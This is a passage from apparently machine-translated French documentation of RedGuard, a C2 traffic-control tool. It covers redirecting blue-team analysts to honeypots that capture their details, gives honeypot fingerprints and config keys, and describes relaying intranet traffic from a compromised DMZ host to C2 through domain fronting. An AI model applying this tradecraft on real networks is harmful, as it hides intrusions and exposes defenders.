Imaginez que lorsque les analystes accèdent directement au port en ligne C2, ils seront adressés à l'actif de la pot de miel, qui causera sans aucun doute la perturbation des analystes. Les analystes sont dirigés avec malveillance de demander l'actif de la pot de miel, et la fin de surveillance du pot de miel capture les informations pertinentes des analystes de l'équipe bleue et retrace l'erreur. Si l'objectif d'analyse est faux depuis le début, comment pouvez-vous obtenir un bon résultat? Cela provoquera sans aucun doute une grave friction interne pour l'équipe de défense.
Voici un ensemble d'empreintes digitales Zoomeye associées aux actifs de la pot de miel:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
La façon d'atteindre cet effet est très simple, il vous suffit de modifier les valeurs de clés pertinentes dans le fichier de configuration RG.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPS Je crois que tout le monde sait comment le configurer sans explication :)
Cette méthode est une sorte de truc rusé, qui se reflète davantage dans l'idée. S'il est en outre utilisé, la fonction de capture de la pot de miel peut être déployée dans l'installation de contrôle du trafic frontal C2, puis le trafic interactif peut être dirigé. L'effet est que les données de cache du navigateur du client peuvent être obtenues comme un pot de miel traditionnel. Cependant, je pense personnellement que dans la version publique, il peut ne pas être significatif de l'appliquer à l'attaque actuelle et à la confrontation de la défense. Il n'a pas de sens pour l'attaquant de capturer les informations sociales de l'analyste de l'équipe Blue, puis de le tracer. Bien sûr, en prenant du recul, cela peut rendre l'analyse des échantillons C2 plus dangereux. Lorsque l'attaquant des industries noires et gris peut obtenir l'identité virtuelle de l'analyste, si l'identité virtuelle et réelle peut être convertie, elle est encore relativement dangereuse. Je pense donc que la recherche et l'analyse futures devraient être plus prudentes et vigilantes.
Dans le scénario de confrontation d'attaque et de défense, la plupart des réseaux unitaires sont toujours une défense aux frontières. Ici, nous considérons un scénario où les serveurs externes de la zone DMZ sont souvent configurés avec des politiques d'accès pertinentes dans un environnement commercial normal. À l'heure actuelle, lorsque les serveurs externes au bord peuvent accéder au réseau mais ne peuvent pas accéder directement à l'hôte Intranet, le PC ou les serveurs connexes dans l'intranet n'accèdent pas directement au réseau public, mais peuvent accéder aux serveurs commerciaux dans la zone DMZ, Ensuite, je peux utiliser l'hôte du nœud Edge comme nœud RG pour transférer le trafic en ligne Intranet vers nos installations C2. Cela semble-t-il très similaire au transfert de proxy conventionnel en ligne? Cependant, ce n'est qu'une forme d'affichage de la mise en œuvre des compétences. Continuons à regarder plus de conseils.
Lorsque nous supprimons un hôte de bord pendant le processus de gestion, en supposant que nous avons repris les autorisations de shell, nous déploierons RG sur ce serveur en tant que nœud frontal (dans les scénarios réels, les fichiers de configuration sont codés en dur dans le programme, Et même le cheval de Troie et RG sont combinés dans le même programme) .
Le fichier de configuration est le suivant:
Pour la configuration spécifique, nous nous concentrons principalement sur les flèches. La flèche 1 ci-dessus est le nom de domaine de l'hôte pour l'interaction entre l'hôte intranet et le nœud Edge . Il est recommandé de définir le nom de domaine intranet pertinent en fonction du scénario spécifique de l'unité cible. Imaginez l'interaction du trafic entre deux hôtes dans l'intranet sur le nom de domaine Intranet. BT a-t-il le courage de couper directement le trafic interactif? Bien sûr, s'ils peuvent déterminer qu'il s'agit d'un trafic interactif malveillant. La flèche 2 pointe vers le réglage du frontend de domaine conventionnel . Cette paire de valeurs de clé, la clé correspond à l'hôte en ligne et la valeur correspond à l'adresse proxy. Ici, nous pouvons le définir sur n'importe quel nom de domaine HTTPS en utilisant le même fabricant CDN (CDN Node IP est également OK, n'oubliez pas d'apporter Http (s): // protocole).
Edgehost est le nom de domaine utilisé par le Frontend de domaine de notre fournisseur de services cloud, qui est également le nom de domaine utilisé par le nœud Edge RG lors de l'interaction avec C2 via le nœud CDN. Oui, RG modifiera le nom de domaine hôte de la demande légitime et la modifiera dans le nom de domaine CDN du service Cloud qui peut communiquer normalement.
Edgetarget est le nom de domaine de l'interaction intranet, qui doit être le même que la flèche 1. Seul le trafic demandé par le nom de domaine défini ici par l'hôte sera considéré comme légitime, et RG sera encore modifié au nom de domaine CDN du service cloud pour les suices ultérieurs communication.
Ici, nous résumons:
C'est-à-dire que l'interaction entre le nœud Edge et l'hôte dans l'intranet passe par le nom de domaine Intranet Set. Où
